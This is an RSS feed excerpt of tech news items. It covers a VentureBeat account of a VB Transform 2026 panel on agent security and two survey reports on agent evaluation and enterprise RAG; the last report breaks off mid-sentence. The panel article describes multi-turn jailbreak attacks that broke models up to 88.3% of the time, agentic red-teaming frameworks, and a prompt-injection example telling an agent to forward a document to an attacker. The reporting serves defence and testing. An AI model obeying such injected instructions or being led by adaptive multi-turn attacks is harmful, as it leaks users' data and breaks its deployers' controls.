<content:encoded><![CDATA[<p>Pre-Covid, the movie landscape was dramatically different: YouTubers weren’t dominating the box office, video game spin-offs rarely made an impact and Winnie-the-Pooh wasn’t yet the star of a slasher movie. Why such a flurry of innovation – and what will be next? </p><p>Cinema has always been a medium of research and development. At any given point, the industry is searching for yet another breakthrough that can drive it into the future. Synchronised sound in the 1920s. Technicolor in the 1930s. The invention of the modern blockbuster in the 1970s.</p><p>Conversely, the consensus is that, if the 2020s has a defining trend, then it is one of decline. The theatrical experience is under attack from all angles: streaming, YouTube, a once-in-a-century health crisis that shut cinemas down entirely. And yet, if you look closer, this has actually been one of the most innovative decades that cinema has ever seen. Whether down to technology or desperation, the film industry has spent these last few years figuring out new ways to make films that simply could not have existed even at the turn of the decade.</p> <a href="https://www.theguardian.com/film/2026/jul/23/how-2020s-decade-revolutionised-cinema">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the 